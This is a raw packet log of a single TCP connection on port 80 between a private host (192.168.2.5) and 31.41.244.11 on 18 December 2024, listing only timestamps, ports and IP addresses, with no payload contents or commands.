Dec 18, 2024 19:08:23.733261108 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.734035015 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.734407902 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.734601021 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.734749079 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.735115051 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.735337973 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.735347986 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.735471010 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.736206055 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.736262083 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.736445904 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.736792088 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.737343073 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.737481117 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.737499952 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.737869024 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.738451004 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.738522053 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.739588022 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.739649057 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.739650965 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.739666939 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.739803076 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.739803076 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.740797997 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.741137028 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.741379023 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.741436958 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.741906881 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.741976976 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.741995096 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.742172956 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.742969990 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.743175030 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.743638039 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.743727922 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.744122982 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.744136095 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.744200945 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.745260000 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.745376110 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.745805025 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.745858908 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.746352911 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.746455908 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.747287035 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.747358084 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.747510910 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.747522116 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.747610092 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.748598099 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.748653889 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.749006033 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.749072075 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.749731064 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.749794960 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.750430107 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.750468969 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.750905991 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.750916958 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.750967979 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.750967979 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.752001047 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.752038956 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.752789021 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.752851963 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.753132105 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.753185034 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.753238916 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.753283024 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.754276991 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.754345894 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.754975080 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.755059958 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.755424023 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.755542040 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.755590916 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.755645990 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.756488085 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.756540060 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.756596088 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.756642103 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.890311003 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.890430927 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.890546083 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.890769958 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.890809059 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.891190052 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.891812086 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.891881943 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.892200947 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.892267942 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.892741919 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.892802000 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.892996073 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.893205881 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.893865108 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.893935919 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.894078016 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.894171000 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.895167112 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.895339012 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.896039963 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.896178961 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.896190882 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.896202087 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.896249056 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.896249056 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.897249937 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.897310972 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.897391081 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.897440910 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.898370028 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.898499012 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.899518013 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.899530888 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.899569035 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.899650097 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.899867058 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.900629997 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.900691032 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.900808096 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.900866985 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.901731014 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.901922941 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.902054071 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.902055025 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.902867079 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.902945995 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.902987003 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.903033972 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.903983116 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.904097080 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.904103994 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.904197931 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.905113935 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.905235052 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.905258894 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.905323982 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.906606913 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.906701088 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.906770945 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.906810999 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.907382011 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.907517910 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.907551050 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.907573938 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.908514023 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.908657074 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.908868074 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.908868074 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.909811974 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.909862041 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.909872055 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.909991980 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.910712004 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.910794020 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.910937071 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.910937071 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.911426067 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.911484957 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.911714077 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.911803961 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.912400961 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.912506104 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.912513018 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.912570953 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.913332939 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.913446903 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.913453102 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.913499117 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.914201021 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.914262056 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.914315939 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.914510012 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.915222883 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.915266037 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.915357113 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.915564060 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.916049004 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.916146994 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.916152000 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.916201115 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.916932106 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.917005062 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.917685032 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.917740107 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.917889118 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.917900085 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.917943001 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.917943001 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.918869019 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.918905973 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.918956041 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.918956041 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.919874907 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.919996977 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.920018911 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.920037985 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.920913935 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.920980930 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.921036959 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.921081066 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.921622038 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.921694040 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.922583103 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.922594070 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.922688961 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.922709942 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.922760010 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.923466921 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.923589945 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.923763037 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.923835039 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.924298048 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.924364090 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.924390078 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.924504995 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.925190926 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.925252914 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.925268888 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.925333977 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.926178932 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.926229000 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.926947117 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.927025080 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.927092075 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.927103043 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.927134991 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.927903891 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.927983046 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.928715944 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.928823948 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.928930044 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.928949118 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.929075003 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.929075003 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.929804087 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.929877043 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.930049896 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.930099010 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.930804014 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.930815935 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.930861950 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.931746006 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.931823015 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.932367086 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.932409048 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.932717085 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.932754040 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.933080912 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.933175087 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.933882952 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.933950901 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.934210062 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.934262991 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.934942961 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.934954882 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.934989929 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.935003042 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.935858011 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.935931921 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.936183929 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.936233997 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.936800957 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.936837912 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.936937094 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.937024117 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.937848091 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.937910080 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.937982082 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.938062906 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.938726902 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.938988924 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.939043999 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.939089060 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.940340996 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.940480947 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.940608025 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.940704107 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.940855980 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.940927029 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.941565037 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.941669941 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:23.941694975 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.942260027 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:23.942348957 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.082457066 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.082659006 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.082720995 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.082911968 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.082923889 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.083003044 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.083772898 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.083831072 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.084194899 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.084703922 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.084851980 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.085063934 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.085423946 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.085612059 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.085926056 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.085999966 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.086146116 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.086510897 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.086579084 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.086850882 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.087204933 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.087440014 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.087482929 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.087997913 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.088052988 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.088397026 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.088485956 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.088871956 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.088958979 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.089266062 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.089318991 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.089833021 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.089919090 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.090193033 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.090205908 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.090250015 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.090250015 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.091121912 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.091187000 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.091280937 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.092057943 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.092102051 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.092132092 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.092324972 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.092916965 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.093331099 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.093383074 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.093960047 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.094125032 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.094194889 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:24.094750881 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:24.094840050 CET	49723	80	192.168.2.5	31.41.244.11
